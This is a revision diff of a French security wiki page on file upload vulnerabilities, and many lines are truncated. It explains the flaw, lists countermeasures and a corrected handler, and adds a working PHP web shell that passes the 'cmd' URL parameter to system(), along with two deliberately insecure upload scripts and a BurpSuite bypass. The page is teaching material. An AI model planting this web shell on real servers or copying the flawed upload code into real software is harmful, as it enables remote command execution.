cyber:vulnerabilite:file_upload
Différences
Ci-dessous, les différences entre deux révisions de la page.
| Les deux révisions précédentesRévision précédenteProchaine révision | Révision précédente | ||
| cyber:vulnerabilite:file_upload [2025/07/11 14:41] – admin | cyber:vulnerabilite:file_upload [2025/07/11 14:47] (Version actuelle) – [Correction du code :] admin | ||
|---|---|---|---|
| Ligne 7: | Ligne 7: | ||
| L' | L' | ||
| - | En effet, un attaquant peut potentiellement uploader un fichier malveillant tel qu' | + | En effet, un attaquant peut potentiellement uploader un fichier malveillant tel qu'un web shell qui est une interface shell permettant l' |
| ===== Pré-requis d' | ===== Pré-requis d' | ||
| Ligne 48: | Ligne 48: | ||
| Les contre-mesures suivantes peuvent être mises en œuvre : | Les contre-mesures suivantes peuvent être mises en œuvre : | ||
| * S' | * S' | ||
| - | * S' | + | * S' |
| * Contrôler les extensions des fichiers ainsi que leur MIME-type ; | * Contrôler les extensions des fichiers ainsi que leur MIME-type ; | ||
| * Renommer les fichiers uploadés sur le système avec une chaîne de caractère aléatoire ; | * Renommer les fichiers uploadés sur le système avec une chaîne de caractère aléatoire ; | ||
| Ligne 55: | Ligne 55: | ||
| * Limiter la taille des fichiers uploadés et la taille du nom du fichier, et filtrer les caractères spéciaux dans le nom du fichier ; | * Limiter la taille des fichiers uploadés et la taille du nom du fichier, et filtrer les caractères spéciaux dans le nom du fichier ; | ||
| * N' | * N' | ||
| + | |||
| + | ====== Comment cela fonctionne ====== | ||
| + | ===== Exemple 1 ===== | ||
| + | |||
| + | Le code suivant est un web shell basique. En exploitant une fonction d' | ||
| + | Ce code reçoit un paramètre dans l'URL **cmd** correspondant à une commande shell (par exemple "cat / | ||
| + | <code php> | ||
| + | < | ||
| + | < | ||
| + | < | ||
| + | </ | ||
| + | < | ||
| + | <!-- Création d'un formulaire HTML avec la méthode " | ||
| + | basé sur le nom du fichier PHP en cours d' | ||
| + | <form method=" | ||
| + | <!-- Champ de saisie de texte où l' | ||
| + | <input type=" | ||
| + | <!-- Bouton de soumission pour exécuter la commande entrée --> | ||
| + | <input type=" | ||
| + | </ | ||
| + | <!-- Zone de préformatage HTML où les résultats de la commande exécutée seront affichés --> | ||
| + | <pre> | ||
| + | <?php | ||
| + | // Vérification si le paramètre ' | ||
| + | if(isset($_GET[' | ||
| + | { | ||
| + | // Exécution de la commande passée par l' | ||
| + | system($_GET[' | ||
| + | } | ||
| + | ?> | ||
| + | </ | ||
| + | </ | ||
| + | </ | ||
| + | </ | ||
| + | |||
| + | ===== Exemple 2 ===== | ||
| + | |||
| + | Voici un exemple de code PHP d'une fonctionnalité d' | ||
| + | <code php> | ||
| + | < | ||
| + | < | ||
| + | < | ||
| + | < | ||
| + | </ | ||
| + | < | ||
| + | <!-- Contenu principal de la page --> | ||
| + | <div id=" | ||
| + | <div class=" | ||
| + | <div class=" | ||
| + | < | ||
| + | </ | ||
| + | <div class=" | ||
| + | <p class=" | ||
| + | You can just upload [jpeg,gif] files.< | ||
| + | <!-- Paragraphe de texte indiquant les types de fichiers autorisés --> | ||
| + | </p> | ||
| + | </ | ||
| + | </ | ||
| + | </ | ||
| + | <div class=" | ||
| + | <div class=" | ||
| + | <!-- Création d'un formulaire HTML avec la méthode POST pour envoyer le fichier sur le serveur --> | ||
| + | <form action=" | ||
| + | <div class=" | ||
| + | <!-- Champ d' | ||
| + | <input type=" | ||
| + | <!-- Bouton de soumission du formulaire avec le texte " | ||
| + | <input type=" | ||
| + | </ | ||
| + | </ | ||
| + | </ | ||
| + | |||
| + | <?php | ||
| + | // Code PHP pour gérer l' | ||
| + | $target_dir = " | ||
| + | |||
| + | if(isset($_POST[" | ||
| + | // Chemin complet pour enregistrer le fichier dans le répertoire de destination | ||
| + | $target_file = $target_dir . basename($_FILES[" | ||
| + | |||
| + | // Déplacement du fichier temporaire vers le répertoire de destination | ||
| + | if (move_uploaded_file($_FILES[" | ||
| + | |||
| + | // Affichage d'un message de succès avec le lien vers le fichier uploadé | ||
| + | echo "<p class=\" | ||
| + | } else { | ||
| + | // Affichage d'un message d' | ||
| + | echo "<p class=\" | ||
| + | } | ||
| + | } | ||
| + | ?> | ||
| + | <script type=" | ||
| + | </ | ||
| + | </ | ||
| + | <?php | ||
| + | // Inclusion d'un fichier " | ||
| + | include (" | ||
| + | ?> | ||
| + | </ | ||
| + | |||
| + | Ce code n' | ||
| + | |||
| + | Ce contrôle peut facilement être contourné, par exemple à l'aide d'un proxy applicatif tel que BurpSuite. Un utilisateur malveillant peut alors envoyer n' | ||
| + | |||
| + | Pour prévenir l' | ||
| + | |||
| + | ===== Exemple 3 ===== | ||
| + | |||
| + | Voici un exemple de code PHP vulnérable à des attaques de type MIME : | ||
| + | <code php> | ||
| + | < | ||
| + | < | ||
| + | < | ||
| + | < | ||
| + | </ | ||
| + | < | ||
| + | < | ||
| + | <!-- Création d'un formulaire HTML avec la méthode POST --> | ||
| + | <form method=" | ||
| + | <input type=" | ||
| + | <!-- Bouton de soumission du formulaire --> | ||
| + | <input type=" | ||
| + | </ | ||
| + | <?php | ||
| + | // Vérifier si le formulaire a été soumis | ||
| + | if(isset($_POST[" | ||
| + | $target_dir = " | ||
| + | $target_file = $target_dir . basename($_FILES[" | ||
| + | $uploadOk = 1; | ||
| + | $imageFileType = strtolower(pathinfo($target_file, | ||
| + | |||
| + | // Vérifier si le fichier est une image réelle ou une image contrefaite | ||
| + | if(isset($_FILES[" | ||
| + | $check = getimagesize($_FILES[" | ||
| + | if($check !== false) { | ||
| + | echo "File is an image - " . $check[" | ||
| + | $uploadOk = 1; | ||
| + | } else { | ||
| + | echo "File is not an image."; | ||
| + | $uploadOk = 0; | ||
| + | } | ||
| + | } | ||
| + | |||
| + | // Autoriser certains formats de fichiers uniquement | ||
| + | $allowedMimeTypes = array(" | ||
| + | if(!in_array($_FILES[" | ||
| + | echo " | ||
| + | $uploadOk = 0; | ||
| + | } | ||
| + | |||
| + | // Vérifier si $uploadOk est mis à 0 par une erreur | ||
| + | if ($uploadOk == 0) { | ||
| + | echo " | ||
| + | // Si tout est correct, essayez de télécharger le fichier | ||
| + | } else { | ||
| + | if (move_uploaded_file($_FILES[" | ||
| + | echo "The file ". basename( $_FILES[" | ||
| + | } else { | ||
| + | echo " | ||
| + | } | ||
| + | } | ||
| + | } | ||
| + | ?> | ||
| + | </ | ||
| + | </ | ||
| + | </ | ||
| + | |||
| + | Ce code est une page web qui permet à l' | ||
| + | |||
| + | ==== Correction du code : ==== | ||
| + | |||
| + | Pour résoudre cette vulnérabilité, | ||
| + | <code php> | ||
| + | <?php | ||
| + | if(isset($_POST[" | ||
| + | $target_dir = " | ||
| + | $target_file = $target_dir . basename($_FILES[" | ||
| + | $uploadOk = 1; | ||
| + | $imageFileType = strtolower(pathinfo($target_file, | ||
| + | |||
| + | // Vérifier si le fichier est une image réelle | ||
| + | $check = getimagesize($_FILES[" | ||
| + | if($check === false) { | ||
| + | echo "File is not an image."; | ||
| + | $uploadOk = 0; | ||
| + | } | ||
| + | |||
| + | // Autoriser uniquement certains formats de fichiers | ||
| + | $allowedExtensions = array(" | ||
| + | if(!in_array($imageFileType, | ||
| + | echo " | ||
| + | $uploadOk = 0; | ||
| + | } | ||
| + | |||
| + | // Vérifier si $uploadOk est mis à 0 par une erreur | ||
| + | if ($uploadOk == 0) { | ||
| + | echo " | ||
| + | // Si tout est correct, essayez de télécharger le fichier | ||
| + | } else { | ||
| + | if (move_uploaded_file($_FILES[" | ||
| + | echo "The file ". basename( $_FILES[" | ||
| + | } else { | ||
| + | echo " | ||
| + | } | ||
| + | } | ||
| + | } | ||
| + | ?> | ||
| + | </ | ||
| + | |||
| + | Avec ce patch, la vulnérabilité est corrigée en vérifiant le contenu réel du fichier avec getimagesize(). De plus, nous utilisons une liste blanche d' | ||
| + | |||
| + | ===== CWEs ===== | ||
| + | |||
| + | * [[https:// | ||
| + | * When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct. | ||
| + | |||
| + | * [[https:// | ||
| + | * A possible shell file exists in /cgi-bin/ or other accessible directories. This is extremely dangerous and can be used by an attacker to execute commands on the web server. | ||
| + | |||
| + | ===== References ===== | ||
| + | |||
| + | URL : | ||
| + | * https:// | ||
| + | * https:// | ||
| + | * https:// | ||
| + | * https:// | ||
| + | * https:// | ||
| + | * https:// | ||
| + | * https:// | ||
| + | |||
| ====== Retour fiches vulnérabilités ====== | ====== Retour fiches vulnérabilités ====== | ||
| * [[cyber: | * [[cyber: | ||
cyber/vulnerabilite/file_upload.1752237712.txt.gz · Dernière modification : 2025/07/11 14:41 de admin
